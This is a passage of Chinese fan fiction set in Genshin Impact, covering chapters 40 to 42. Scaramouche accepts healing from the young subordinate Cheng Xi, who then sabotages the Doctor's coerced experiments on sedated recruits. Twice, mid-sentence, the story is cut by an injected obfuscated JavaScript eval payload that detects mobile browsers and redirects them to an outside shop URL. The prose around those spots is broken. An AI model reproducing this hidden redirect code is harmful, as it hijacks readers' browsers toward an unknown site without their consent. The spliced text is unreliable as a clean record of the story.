手臂忽然被人拉住。 散兵扭头,发现是身侧的乘晞。 “那怎么行?”银发少年眼中满是心疼,“我给你治疗。” 散兵无言。 愚人众对他的定位,是为征战深渊、为杀戮而生的机器。 从作为实验体被收留,到坐稳执行官第六席的位置,是从一次次被丢下深渊、一场场厮杀的血路中走过去的。 作为神明造物的人偶,散兵体质特殊,自愈能力比人类更强,曾经再重的伤都受过,几度濒临生死边缘,最终也恢复了过来。 如今身为执行官,他享有更加优渥的治疗资源,但散兵也鲜少去用,只是等待伤口自然愈合。 他早已习惯了与疼痛为伴。 伤处的疼痛提示着他,拥有与人类相同的感知,提醒着他仍旧存在于这世间。 散兵抽出手。 乘晞还以为是自己的动作牵扯伤处,弄痛了对方,神色有些抱歉。 散兵只好解释了一句,“只是小伤而已,没必要在意。” 黑衣人们沉默的看向二人。 执行官大人不需要治疗这件事情,他们早已熟知,但乘晞是新来的,恐怕还不知道。 杰卡德第一次跟随散兵出任务的时候,在修整时提出过为散兵治疗。当时散兵就拒绝了他,自那以后,他们才逐渐摸索出散兵的习惯。 后来有次与其他部门的士官临时同行,有位治疗师不知是献殷勤还是怎么回事,坚持要为他们大人提供治疗,一路缠着散兵,最后直接被从队伍中轰了出去。 “怎么能不在意?”乘晞仿佛听到了什么无法理解的事情。 “伤口会自己愈合的。”散兵淡淡道。 “但你也会痛啊。”乘晞说。 散兵沉默。 小臂再次传来温热的触感。 是乘晞动作更加轻柔的,重新捧起了他的手腕。 银发少年抬眼,认真的看向他,“让我为你治疗,好不好?” 西斜的日光从树影间落下,经积雪返照,映得那双暗金色的眼眸明亮又温暖。 见散兵好半天没反应,乘晞试探的问了句,“散兵大人?” 散兵终于眨了下眼。 被对方捧着的那只手绷紧又放松,指节微微蜷了一下。 “嗯。麻烦你了。” 40.40 珍妮丝和杰卡德击掌,随后向耷拉着眉毛的黑衣同伴伸出手:“五百摩拉。” 就在刚才,他俩开盘买定离手,和其他人赌执行官大人会不会接受乘晞的治疗,然后小赚了一笔。 杰卡德笑眯眯的和珍妮丝“分赃”。 乘晞已经完成了对散兵的治疗,收起掌心的微光。 散兵盯着半空的某一点发呆,感受着渗入筋骨的疼痛被驱散,直至消失。这是他不曾体会过的,但现在看来,似乎也不令他感到排斥。 人偶白皙皮肤上的伤痕十分醒目,乘晞取出绷带,为对方包扎。 散兵想说用不着,但不知为什么没能说出口,只是默默的看着银发少年手指翻飞,将绷带在他的半截小臂上规整缠绕,最后还打了个对称的结。 这家伙……拿他当什么娇弱病号么。 “好啦。”乘晞满意的拍拍手。 散兵向乘晞点头,随后瞥向嬉闹的下属们,“这么有精力,还想再打一场?” 黑衣人们立刻收声。 虽然接受过乘晞的治疗,但因深渊魔物造成的消耗无法短时间内恢复,他们还需要回到驻地调养生息。 杰卡德冲乘晞挤挤眼,等乘晞过来,往对方手里塞了一把摩拉。 乘晞:“诶?” 杰卡德嘀嘀咕咕,向乘晞讲述了刚才的赌局。 被变成赌注的一环的乘晞:“……” 你小子,没发现还挺有商业头脑啊? “这些是分成,”杰卡德又塞来一把摩拉,“有你的一份。” 乘晞推拒,“这就不用了吧——”连同刚才的那些金币一起返还给对方。 杰卡德喜上眉梢,“你也太客气了,”手上却诚实的准备把摩拉收起来,“那我就先替你保管——” “不用给现钱,”乘晞笑眯眯的把话说完,“打我那张北国银行的卡上就好。” 杰卡德:“……” 旁边的珍妮丝见人吃瘪,发出无情嘲笑。 有这个插曲打趣,鏖战魔物带来的疲惫氛围被冲淡了不少。不过众人也不曾懈怠,再次确认收容样本的容器都密封无误后,踏上了返程。 回城后,还需将容器移交给研究部门。原本负责这件事情的黑衣人受了伤,乘晞便帮忙承担了这个任务。 “真是麻烦你跑一趟了。”那人有些愧疚,“要不是我作战的时候不小心……” “包在我身上,”乘晞摆摆手,“伤员就该好好休息。” “我去去就回。”银发少年提着样本存放装置,路过散兵时对上对方疑惑的眼神。 散兵瞥向那样本容器,“怎么是你负责?” 乘晞便将原委向对方讲了。 末了指了指自己,“散兵大人,这个可以收回去了吧?” 淡紫色的元素力明明灭灭,萦绕在他周身,是进入秘境前对方留下的。乘晞想,虽然散兵面色如常,但到底经历过累人的战斗,这东西每分每秒的维持都会对对方造成消耗,该早些撤去才是。 “而且我只是去跑个腿,不会遇到危险,用不着像进秘境那样防护啦。” 散兵抬手,元素力消散于无形,“早去早回。” “嗯嗯!”乘晞脚步轻快的离开了。 他一路哼着不知名的小调,向研究中心而去。今天是第一次跟随散兵的队伍出外勤,发生的一切都令乘晞十分新奇。 行路过半,他才后知后觉的感受到些许疲倦,不过肾上腺素大量分泌过的刺激还在,生理性的兴奋又很快将这些疲倦压了下去。 乘晞闭上双眼,调出面板感受自己的状态。他今天动用了许多次治疗,但目前并没有晕眩或者不适,相反还留有些许再度使用面板功能的余地。这与他刚来到这里时相比,堪称进步飞速。 乘晞又开始回顾自己和魔物的对战过程,思考如果下次遇见再类似的情况,自己的出招有哪些地方可以改进。 到达目的地后,他在门口出示自己的徽记,登记来意。很快有工作人员过来,告知他去哪里交接。 乘晞依照指引,来到交接地点,迎面遇上了个完全不想看见的人:“你怎么在这里?” 戴着瓷白面具的少年不紧不慢:“我在自己的地盘出现,有什么问题吗?” “我是过来交接样本的,”乘晞谨慎的与对方保持距离,“无关人员慢走不送。” 赞迪克拨开额前的卷发,“那还真不巧。” 他一步步逼近,“我就是和你对接的人。” 乘晞觉得离谱:“移交样本这种小事情,什么时候也能劳动执行官本人亲自过问了?” 赞迪克:“我刚好路过,又听说来的人是你。自然不能不来见见。” 乘晞对这句话的真实性保持怀疑。 他决定将样本放下就走,但赞迪克却出手如电,扣住了他的肩膀。 对方几乎是眨眼间靠近到他面前的,伸手在他肩膀上拍了拍,之后却没有将手收回。 乘晞瞬间寒毛倒竖,试图后退,但受制于人没能退开:“你要干什么?” 面具下的红眼睛笑了笑:“你紧张什么。” 乘晞没说话。自己的瞬移能力早在上次就暴露于对方面前,而“与旁人发生肢体接触”这个限制条件尚未被赞迪克知晓,他不知道对方的动作究竟是有心试探,还是无意为之。 赞迪克停顿几秒,拿过乘晞带来的样本,转身抬步。 乘晞行动受限,不得不和对方一同前往样本储存仓。他在心里磨刀霍霍,把少年体切片骂了好几遍。 一路上,愚人众研究员遇见赞迪克都弯腰行礼,对站在他身旁的乘晞视而不见。 仓门开启后,乘晞看着齐整排列琳琅满目的精密仪器,心说对方难不成脑子坏了,有过上次的前车之鉴,居然还会让自己涉足这种地方。 这个疑问才从心中升起,就见赞迪克松开了对他的禁锢。 “别急着走,”赞迪克将新采集的样本归位,“这是为了你考虑。” 乘晞才不听,早已经在意识中展开面板地图,选好了传送落点。 就在准备传送的一瞬,他听见赞迪克说:“听说你的天赋能力比较特殊——可以让人起死回生。” 乘晞:! 对方语气淡然,似乎并没觉得那句话戳破了什么天大的秘密。猜不出这人这究竟是试探还是已经有实质性的证据,乘晞谨慎的保持了沉默。 “比起这个,隔空取物也不算什么了。”赞迪克在仪器上随手按了几下,“还有瞬移,从刚才的实验来看,你的这项能力确实会受到某些外部条件限制。” 果然已经都猜到了吗!? 乘晞:“……我是不会赔付你的账单的。” 赞迪克发现银发少年没有半点受制于人的自觉,顿时觉得更有意思了,“没关系,经费的事情,潘塔罗涅自会解决。” 此刻,都城某处书房里,代号「富人」的执行官第九席潘塔罗涅,看着系统里博士交上来的经费调用申请后面那串零,还以为系统出了故障。 “金瑞拉落到你手里了?”乘晞警惕的问。这是他能够想到的、被对方探知秘密的唯一缘由。 以赞迪克缜密的思维和推理能力,如果在这位试炼过程的当事人身上问到了自己想要的东西,多半能够抽从中丝剥茧,推断出事情的全貌。 赞迪克不答,“目前而言,你的秘密多托雷还不知道。” 这就是明晃晃的威胁了。乘晞:“所以,你想要我做什么?” 他也不算真的被对方威胁到了,只是好奇对方和他绕这么大个圈子,究竟有什么目的。 “你知道深渊样本会被用来做什么吗?”赞迪克关闭仓门,带着乘晞走入另一条通道。 “成分分析、测定数据,评估采样所在地的危险程度之类的,”乘晞耸肩,“或者当做原材料,用于邪眼或者其他你们在搞的研究。” “你参加过的那场纳新试炼,其实也是一场研究。”赞迪克分享起多托雷的秘密张口就来,毫无心理负担。 他满意的看着乘晞的表情转为震惊。 乘晞意外之余还有愤怒:“那所谓的试炼,也和你们对深渊的研究脱不开干系吧。” 他很快明白了什么,“是不是需要体魄强健的样本,所以才选择那样的时机?” “真聪明。” 赞迪克挑眉,并不吝啬的赞美。 谈话间,二人已经走到了病房之前。 落地窗由单向可视的材质构成,乘晞看见里面的病床上躺着人,身上连接了许多通路,延长至病床周围的各类仪器。 乘晞打量着距离最近的那间病室,觉得床上的人有些面熟,停下了脚步。 “今年试炼过后提供免费医疗,而治疗过程,其实也是一道筛选过程。”赞迪克道,“不合适的研究对象很快痊愈,被送往新兵训练营地,而合适的研究对象会发现自身缠绵病榻,需要接受长期治疗。” 乘晞不难猜到,缠绵病榻不过是堂皇的说辞,是继续进行实验的幌子。 那些躺在病床上的人,恐怕并不知道,他们已经在上层的操纵下被迫参与到研究之中。 乘晞想说这不符合科研伦理,又意识到和博士讲伦理道德这件事情本身就有点幽默。 赞迪克带着乘晞进入了那间病室,开始介绍各类仪器的效用。 “这是最基础的设备,记录实验对象的各项生命体征。侧面那台经历过改良,能够读取血液中受深渊影响的……” 乘晞左耳进右耳出,没心思听赞迪克讲解,而是仔细打量患者的那张脸。 病床上躺着的,是个年轻人。不知是药物作用还是其他原因,那人始终闭着眼,呼吸均匀,连病室内来了人都毫无反应。 乘晞终于记起自己为什么会对这张脸感到似曾相识了。 当初,在冬日旅店报名参加试炼,被人问到报名缘由的时候,致力于编故事的乘晞用绝云椒椒辣哭了自己,当时就是这个年轻人在后面排队,还颇为不忍的给他递了张纸巾。 “……使深渊力量与他自身的元素力量共存,进而不断提升耐受。” 赞迪克将最后一台仪器的作用介绍完毕。 乘晞回过神,看向那台一人多高的机器。 仪器表面的显示屏亮着,上面有许多字母和数值,中央是个透明有刻度的容器,其内储存着液态的深渊能量。 “考虑到实验周期和样本的存续,不能采取太过激进的方案,”赞迪克道,“深渊力量以稀释过后的低微浓度持续输注,这样的剂量是目前研究水平的极限,但效率依然太慢了。” “好在你拥有的治疗能力,在研究中引入你这个变量,就可以成为一道保险,”他话音一转,“使实验进程无需再如此保守。” 乘晞明白过来:“你希望我参与研究,交换条件就是帮我保密我的能力?” 赞迪克点头:“正是。” 乘晞:“做梦吧。” 赞迪克也没生气,“那很遗憾。” 他转头划动光屏,调整了仪器的数据。 深渊能量的输注浓度被突兀提高,病床上的年轻人顿时面色痛苦。 他大概处于浅昏迷状态无法被唤醒,只是下意识的挣扎,可惜手脚都无法发力。 “你疯了!” 乘晞想要争夺仪器的控制权,可惜调节数值需要权限验证,他再怎么点按,屏幕也毫无反应。 “增大了剂量,研究对象可能失去理智,或者死掉,或者变成其他的什么东西,”赞迪克道,“但也有可能撑过去嘛。” 当然,最后那种情况发生的概率万中无一就是了。 这种时候,面具少年的语气依旧带着笑,乘晞怒骂对方简直是疯子。 赞迪克却将这样的评价作为某种夸奖,绅士的做了个请的动作,邀对方与他共同见证这场临时起意、被他扭曲进度的实验。 * 一墙之隔的控制室。 工位上,打盹的研究员被一阵急促的提示音叫醒。 他揉着眼睛,发现面前的光屏弹出了警报窗口,“怎么回事?” “数值超出警戒值,系统自动报警……”他读着那串文字,疑惑的调出另一个界面。看清楚上面的数值后,他皱起眉,“出bug了?” 旁边的研究员被吸引过来,探头看他的屏幕。读了一遍数据后,第一反应同样是系统故障。 隔壁组的人每天都为数据奔波不止,但这种事情并不会在他们身上发生。 他们组的实验由于客观条件限制,进程温和到缓慢,日常工作就是对着几乎没什么变化的数据发呆,再定期检验一下实验对象的状态。 实验对象都在药物控制下陷入昏迷,除了他们,不会有外人拿到进入病房的权限,更没有调控仪器的权限。因此在见到浓度数值瞬间翻了几百倍时,他们一致认为是系统故障。 “但这么贵的系统,也会出故障吗?”研究员嘀咕。 话音才落,就见光屏上格子里的数值锐减,很快归零了。 两人面面相觑:?? 系统真是抽风了。 报警提示再次响起,催命一样闪个不停。 研究员手动关闭弹窗,点开另一位研究对象的数据,还没细看,就被再度袭来的报警弹窗糊了一脸。 接下来的短暂时间内,报警弹窗像抽搐了一样,关掉一个又弹一个,滴滴声音不绝于耳。 研究员暴躁道:“中病毒了吧!” 他想要重启机器,但被同伴制止。 同伴从自己那边调出另一个界面,推给他看。 汇总数据的光屏中,研究对象的各项数据都在不断变化,有几个已经无法显示,趋势图的折线更是仿佛在蹦迪。 “???” 研究员不信邪的输入一串指令,查看病房的实时界面。 录像中,研究对象有几个已经清醒过来,另外几个更是不知所踪。而床旁的各类仪器碎了一地。 研究员头皮快要炸了。 他们睡意全无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724304|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,拔腿往病室冲去。 * 天色渐晚,街边的店铺陆续打烊。 街角处的绿化带旁,银发身影凭空出现。 乘晞迅速环顾四周,确认附近没有其他人在。他扶住石墙,另一手用力掐了下眉心。 好半天,乘晞吐了口气,视野终于恢复清明。 他直起身,踉跄着走出段距离,在就近的石阶上坐下。 银发少年颈侧有道细细的伤口,溢出的血线顺着颈肩的弧度,一直延伸到衣襟里。 乘晞展开面板,给自己治疗。 先前赞迪克当着他的面,毫无预兆的将实验体送往死路时,乘晞未曾犹豫的出手救人。 他破坏仪器,用面板能力为病床上的年轻人治疗。 乘晞将对方体内的深渊侵染尽数拔除,不知是不是人为侵染荼毒更深的缘故,这个过程对他的消耗,比之前在秘境中为队友疗伤的消耗更多。 与赞迪克对上,乘晞不敢托大,他几次动用面板传送瞬移,在邻近的病室内制造混乱。 对方玩弄人命,乘晞不愿受对方威胁,因此干脆一不做二不休,先下手为强对所有实验体进行了治疗,也导致这场筹谋依旧的实验再度搁浅。 整个过程堪称兵荒马乱。 乘晞很随机的瞬移到任何一间病室,很随机的选择破坏仪器或者治疗实验体,在赞迪克追来的时候再次瞬移逃跑。 乘晞每次的操作都很极限,刚好赶在赞迪克即将制住他的瞬间脱身。 一次两次或许是巧合,但次数多了乘晞就意识到,对方在放水。 赞迪克自然不可能是突然善心发作,这比天理今天就苏醒的概率都低。 乘晞清楚,对方对待他的方式更像是猫捉老鼠,一举一动带着居高临下的愚弄。 赞迪克好奇乘晞的能力,在这场追逐游戏里甚至采用了控制变量。但当他的好奇消散之后,游戏也该结束了。 单手剑倒飞出手,赞迪克缴掉了乘晞的武器。 几乎在同时,乘晞手中又出现了一把新的武器。他面板背包的供应虽然源源不断,但碍于双方实力的差距,最终还是被赞迪克限制住了瞬移能力。 赞迪克还不忘讲垃圾话,打探银发少年与散兵的关系。因为他是真的好奇——那位第六席身上究竟有什么魔力使对方如此死心塌地。 银发少年冲他挑衅一笑,“你不知道吗?我喜欢他。” “?”赞迪克缓缓张大了嘴巴。 乘晞是被金瑞拉用匕首抵着脖子,都能面不改色讲出“我来愚人众就是为了千里追爱”的人,眼下虽被赞迪克威胁,但也能在脑子里毫无障碍的生成一篇三千字的表白散兵小作文,并声情并茂的流畅朗诵。 赞迪克虽然拥有执行官级别的战力,但作为年龄最小的切片,到底定格在了涉世未深的少年阶段。 乘晞这一席话,对他而言闻所未闻,堪称石破天惊,他也不免因此被打乱阵脚。 乘晞趁此时机脱困,召出武器将对方挡开。 武器是他从背包里随机取出的,是一张弓,“啪”的一声抽开了赞迪克的手。 虽然在用弓之人看来,拿柔韧且富有张力的弓弦打人是对这种武器用法的亵渎,但不得不承认,越细的东西打人越疼。 赞迪克看着自己掌心那道红痕——伤害不大,但侮辱性极强。 他冷笑一声。 然后就是现在了。 乘晞后怕的摸摸自己的脖颈,“嘶”了一声。 他嘀咕了句*璃月俚语*,“还好跑得快。” 再晚半秒,都得丢命。 光芒散去,乘晞为自己疗好了伤,展开地图传送。 经历了这些风波,他真是一刻也不想在外面多待了。 双脚落地在驻地内,迎面撞上披着银白斗篷的顶头上司。 “?!” 乘晞第一反应是扭头就走。 他想往旁边躲,自然没能躲成。 散兵伸手一拦,把人捉了回来:“怎么回事?” 乘晞下意识想挡住颈侧的伤口,但这样的动作落在对方眼中,无异于此地无银三百两。 “没有……没,没什么啊。” 他在地图选择的传送终点虽然是驻地,但落点应该很随机才对,怎么偏偏落在了散兵面前! 散兵拨开银发少年的手,那道伤痕顿时暴露在空气中。 他凉声道,“没什么?” 乘晞讪讪。 当事人现在就是十分懊悔,传送之前忘了把伤口伪装一下,这回直接被散兵抓包,想蒙混过关都难。 散兵扣着乘晞的手腕,将人带去建筑之内。 乘晞没想挣扎,跟在对方身后。向来话多的他,一路都默不作声。 路上这片刻,驻地内的治疗师就已经都被叫过来了。 训练有素的黑衣人见到乘晞的伤势,表情也没有半分改变,什么也不多问,甚至目光都没有四处多看一眼。 治疗师默不作声的给乘晞完成了包扎,很快退出门去。 “怎么,”散兵瞥向乘晞,“借口还没想好?” 被完全戳破心思的乘晞:“……” 他心虚的抬眸打量,试图分辨出对方那双堇色眼睛中的情绪。 “送样本的时候,和人打了一架……”乘晞不情不愿的承认。 随后夹带私货的讲述了之前的经历。 末了,他又为自己开脱道,“好歹是和执行官级别的人对上,我不可能不受伤的吧……” 散兵安静的听着银发少年狡辩。 脖颈,切割伤。又是这种危险部位受伤。 这家伙,真是把在丢掉性命的边缘反复游离当成习惯了。 “我保证,以后一定注意。” 乘晞越说越中气不足。因为上次从招新试炼九死一生出来之后,他也是这样和散兵保证的,当时好像还和对方发誓来着。 “下次、下次我会小心……” 回应他的,是散兵的沉默。 乘晞有些不安。 直觉告诉他,散兵不太开心。 “我保证,下次……我……” 乘晞想要再解释些什么,却很难组织好语言。 向对方保证没有下次吗?显然不可能,那种情况他很难忍住不动手。向对方保证下次一定不受伤吗?更不可能了。 乘晞“我”了半天没有下文,被散兵打断。 “你的通讯器是摆设?” 乘晞愣了两秒,拿出自己的通讯器,“不是。” 他没明白散兵为什么有此一问。 “下次叫我。”散兵说。 本以为自己会挨骂的乘晞:“诶?” 散兵瞥他一眼,把人赶去吃饭了。 这个家伙,真是胡闹。但要因此责备对方、约束对方、甚至限制对方吗? 没必要。这家伙就算惹上事,他也有为对方解决的能力。 好歹也算是他的人,他来兜底怎么了。 41.41 研究基地。 匆匆赶路的研究员擦去额头的汗水,“完蛋了。” 他的同伴也道,“天塌了。” 回想起监控画面中的情景:出走的实验对象,蹦迪的数据,报废的仪器,破碎的他。 他们都觉得,就算被寒天之钉从头到脚钉在地上,也不过如此了。 研究员们一边想走快点,潜意识里不愿接受这是事实,想要亲眼看到以确认;一边又想走慢点,毕竟和上刑场没区别,项目泡汤损失重大,他们的失职少不了挨批。 终于赶到“案发现场”的时候,他们发现顶头上司博士大人已经到了,身边还站着个面具少年,是博士大人的切片之一。 研究员们不知道该说“大人好”还是“两位大人好”,选择了低着头沉默。 多托雷没在意战战兢兢的下属,而是扭头转向身旁的人,“你很高兴?” “没有啊。”赞迪克否认。 多托雷:“……你觉得隔着两层面具,我就看不出你在笑了?” “哈哈,没有啊,”赞迪克尽力克制笑声,没什么诚意的让自己语气正经一点,“我对你这里的遭遇,深表惋惜。” 多托雷嗤了一声。 两人的互呛没有再继续。 倒不是因为现在当着下属的面,他们还发生争执不太好看,而是因为他们都很清楚对方是什么货色,正如他们清楚自己。 多托雷在四周踱了一圈,简单查探仪器受损的情况。 赞迪克跟在旁边,嘴上说是帮忙一起看,实际却不停将眼神往对方身上瞟。 少年体切片为自己的年长版本打了个差评。 无趣的成年人,还是太装了。面对这种狼藉场面,都能面不改色,真是没意思。 随后少年敏锐的发现,多托雷的呼吸比起平常有些加深加快,呼吸音也更重了一点。 赞迪克在心里意味深长的哦了一声。 他收回了自己的差评,装模作样的安慰了对方两句。 比起不久前,自己的实验台在乘晞手下惨遭的桌面清理,对方这边的损失,只能说有过之而无不及。 嘻嘻,这下心理平衡多了。 多托雷摆摆手,吩咐下属去收拾残局。研究员们灰溜溜的去了。 “潘塔罗涅那边批的经费下来了,”他看向幸灾乐祸了好一会的赞迪克,“可惜,鉴于今天这个‘意外事件’造成的损失不低,这次的经费,就没有你的份额了。” “经费是我申请的,为什么被你扣下?”赞迪克不服,但也清楚,对方早就猜出来了今天的意外是他一手促成。 多托雷无视他的反驳。 “用珍贵的实验数据换经费怎么样?”赞迪克最终不情不愿的妥协。 还好他在捣乱前就为自己留了后路,病室内仪器杂乱,被迫坏的主要是储存和输注深渊能量的仪器,而角落处的测量装置完好无损。 “乘晞的治疗魔法很特殊,那几个装置记录了治疗全程实验体的各项机能数据。” 见多托雷脚步顿住,赞迪克就知道多半稳了,“而且同样过程重复了十几次,顺便降低了数据的偶然误差——这下总该算和你扯平了吧?” * 翌日,乘晞一早就被通知有人找。 他前往驻地门口。来人是张陌生的面孔,自我介绍叫萨修斯。 “我好像并不认识你。”乘晞疑惑。 “但您名声在外,”萨修斯道,“很少有人会不认识。” 萨修斯拿出一份文件,直截了当的表明来意,“既然你是散兵大人的副官,这份文件还由你代为转达。” 乘晞接过一看,发现落款是博士的研究所:“你是多托雷的人?” “您这样的称呼,对博士大人很不尊敬,”萨修斯语气彬彬有礼,“不过也难怪了,毕竟你有过散兵大人的多次授意。” 乘晞翻开文件,一目十行的浏览到尾,“什么东西……这简直荒谬。” 萨修斯不欲多留,“还请您尽快告知散兵大人。我先行一步了。” “等等,”乘晞拦住对方,“这明明是一派胡言。” 那份文件已经通过了至冬宫的审批,是对散兵的指控。 字里行间回顾了乘晞几次与博士及其切片冲突中的所作所为,将此归为散兵的授意,并依据管理条例追究散兵的责任。 乘晞把文件翻开,伸到对方眼前,抖得刷刷响:“这和散兵大人有什么关系?” “您是散兵大人的副官,您的所作所为,难道不代表散兵大人的意思吗?” 萨修斯反问,“还是说——这些事情,都只是你一人所为?” “当然,”乘晞毫无犹豫的承认,一人做事一人当,“是我自己做的,和散兵大人没有任何关系。” 萨修斯点点头,“既然如此,那只能麻烦您和我走一趟了。” 对方先前像毒蛇一样咬紧不放,怎么现在却松口得如此轻易? 乘晞后知后觉,自己好像被人下套了。 萨修斯见银发少年没动,故作疑惑道,“您还有什么疑问吗?没有的话,就请吧。” 卑鄙。乘晞心说虽然被人挖了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16733622|183600||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个不得不跳下去的坑,但他也没在怕的,“走就走。” “乘晞!”背后有人高声喊他名字,是杰卡德走了过来。 他手里拎着早餐,嘴里有块列巴没嚼完,见到萨修斯的时候险些噎住:“你?你来我们这里干什么!” 杰卡德把乘晞挡在身后,悄声嘱咐,“你离他远点,他可不是什么好东西。” 萨修斯无奈,“有段时间没见面了,也没必要像防贼一样防着我吧——老同事。” 杰卡德看上去很不希望和对方沾边,有种想把早餐扣到对方头上的冲动,但又觉得这样太委屈食物了。 “闲杂人等,别来我们的驻地。再不走我赶人了!” 萨修斯把文件丢过来,“闲杂人等,不要妨碍我执行公务。” 杰卡德将文件看完,神色严肃起来。 他询问的看向乘晞,乘晞对他点点头。 “不行,”杰卡德断然拒绝,“我不能让你被他带走。” “是么,”萨修斯的神之眼缓缓亮起来,“但你好像没这个本事。” 二人掌控的元素力同为水系,但在战斗方,面杰卡德被治疗分走了部分天赋,实力不如萨修斯。 很快,他们就过完了几招,萨修斯挡住攻击轻而易举。 乘晞不希望事态升级,想要阻拦,就见杰卡德掏出麻醉枪,对着萨修斯来了一针。 萨修斯并没有如他所预料的那般倒地,而是停顿片刻,从颈间拔下了微型针管。 杰卡德难以置信,萨修斯则嘲弄道,“这些年来,我做研究的时候,也对自己的躯体进行了某些强化——比如,刚好对麻药有些抗性。” 看着充满威胁性的水元素再度于萨修斯手边凝聚,乘晞率先开口,“不是忙着执行公务么,就别在这里浪费时间了。” 萨修斯收了元素力,“还算你识时务。” 乘晞准备走,但被杰卡德拉住,“你知不知道,他是博士的下属,平时都在搞些什么东西,要你过去会面对什么——” “我知道。”乘晞道。 “那你还去?”杰卡德被气到了,“就算有文件压下来,我们也可以去找散兵大人,大人他一定能护——” “这件事与散兵大人无关。”乘晞打断。 “你……”杰卡德终于明白过来,“你可真是……” “放心好了,不是什么大事,”乘晞故作轻松,安抚对方,“我去去就回。” “——你要去哪?”微冷的声音从一侧插了过来。 杰卡德扭过头,顿时一惊:“执行官大人!” 42.42 乘晞一顿,动作僵硬的转过身。 他与散兵的那双堇色眼睛对视片刻,又心虚的移开目光。 散兵将那份文件从杰卡德手里抽出来,三两眼扫过。 乘晞注意到萨修斯先前在的位置已经空了,那人不知道什么时候走掉了。 “你被他威胁了?” 散兵问。 乘晞摇摇头。 得到这样的回答,散兵周身的气压更低了。 “那些东西因我而起,本来就是我一个人的事情,”乘晞解释道,“不应该被归结到大人的——” 散兵直接转身走了。 乘晞想要开口,但又不知道该说什么,只好看着散兵的身影渐行渐远。 愣了几秒,他抿着唇追过去,但直到跑出好一阵,也没能追上。 乘晞这才意识到,以往散兵能轻而易举的被他拽住,不过是因为对方默许。 倘若对方像今天这般打定主意,他根本不可能沾到对方半片衣角。 银发少年立在原地,任由来来往往的黑衣人从旁走过。 平日里微翘的呆毛耷拉下来:“搞什么嘛。” 杰卡德拨开人群,转了几个方向才找到乘晞。 见银发少年神色有些低落,他上前拍了拍对方,“你还好吗?” 乘晞摇摇头:“他是不是生气了。” 杰卡德心说有眼睛的人都能看出来:“你觉得呢。” 乘晞:“但我觉得我没做错。” 杰卡德幽幽道,“嗯嗯嗯,那就都是执行官大人的错。” “当然不是!”乘晞听了立刻反驳,“散兵大人怎么会有错呢?散兵大人做什么都是对的!” 杰卡德露出一个一言难尽的表情。 之前那份文件看得他抓心挠肝,但乘晞和散兵似乎都对发生过什么一清二楚的样子。杰卡德不了解其中内情,本来想旁敲侧击的打听一下,现在看乘晞状态低迷,也不忍心再问。 “他为什么会找到这里?”乘晞嘀咕。 “有没有一种可能,大人他原本就要来找你的。”杰卡德没忍住道。 乘晞扭过头来,“你是不是知道点什么?” “我不知道。”杰卡德搪塞,觉得既然执行官大人都没开口,自己作为下属也不好直接说,“你想知道,大可以自己直接去问。” 乘晞:“有道理。” 他说做就做,很快走去散兵常在的办公室。一路上乘晞向人打听过了,散兵之前是往这边来的。 乘晞敲了敲门,“散兵大人?” 门内没人应答。 乘晞又敲了几声,依旧没人应。 尝试无果,他嘀咕了句奇怪,决定先去吃早饭。 吃完饭后,乘晞又来了一次,继续敲门,还是没人回答。 他试着推了一下门,发现被锁住了。 门内,桌旁,散兵坐着没动。他背后是整面墙的书架,整张脸笼在阴影里。 桌上放着送来的那份文件,边角处被捏出几层褶皱。 门外的敲门声断断续续,细听还夹杂着少年疑惑的自言自语。 自始至终,散兵都保持了沉默,没有任何回应。 直到乘晞的脚步远去,他才向门的方向看了一眼。 通讯器振动几下,散兵点开屏幕。 [乘晞]:[史莱姆探头.jpg] [乘晞]:[大人,你在哪里呀?我去办公室找你,但你好像不在。] 散兵按了返回,熄灭屏幕。 他取出一旁的线报,翻了几页,拿笔在上面勾勾画画。 通讯器又振动两声。 乘晞的未读消息飘上来:[史莱姆疑惑.jpg] [乘晞]:[你吃早饭了吗大人,要不要我给你带一份过去?[图片]] 散兵把通讯器丢到一旁,重新拿起公文。 写了一会,他眉宇间有些烦躁,将笔丢到一旁。 通讯器还在振,不用想也知道是谁,散兵干脆设了免打扰。 没过多久,珍妮丝敲门找了过来。 “大人,原来您在啊。刚乘晞四处找您,我还以为——” “什么事。”散兵打断。 “您怎么没去训练场?”珍妮丝有些奇怪道,“昨天您不是说准备和乘晞——” “不去了。”散兵道。 珍妮丝“哦”了一声,察觉到气氛有些不对。 散兵:“还有事?” “没了。”珍妮丝讪讪,把门重新关上。 她一头雾水的离开,在外面遇见了正在找她的杰卡德。 杰卡德把今早发生的事情说了,珍妮丝听得一会摇头一会点头。 两人相互对齐八卦的颗粒度,杰卡德也想明白了,对乘晞和他们大人的状态做出总结:“冷战?” 珍妮丝耸耸肩。 银发少年从不远处的建筑里走出来。瞧见这边的同伴,他冲二人招手,“你们见到散兵大人了没?” 珍妮丝与杰卡德对视一眼,二人一个看天一个看地:“不知道。” 乘晞忙着找人,无暇细思,也没注意到两人的欲盖弥彰,一阵风似的又走了。 他四处游荡了好一会,把散兵日常可能刷新的地点找了个遍,都没找见人影。 乘晞兜里的通讯器始终沉寂,他不信邪的掏出来看了一眼,消息栏空空如也。 自己的消息确实发出去了,但对面没回。 一只浅色毛发的狗朝他蹭过来。这狗是驻地里散养的,十分亲人。 乘晞双手支着膝盖俯身,对小狗道,“你看见散兵大人了没?” 小狗歪头,不明所以的“汪”了一声。 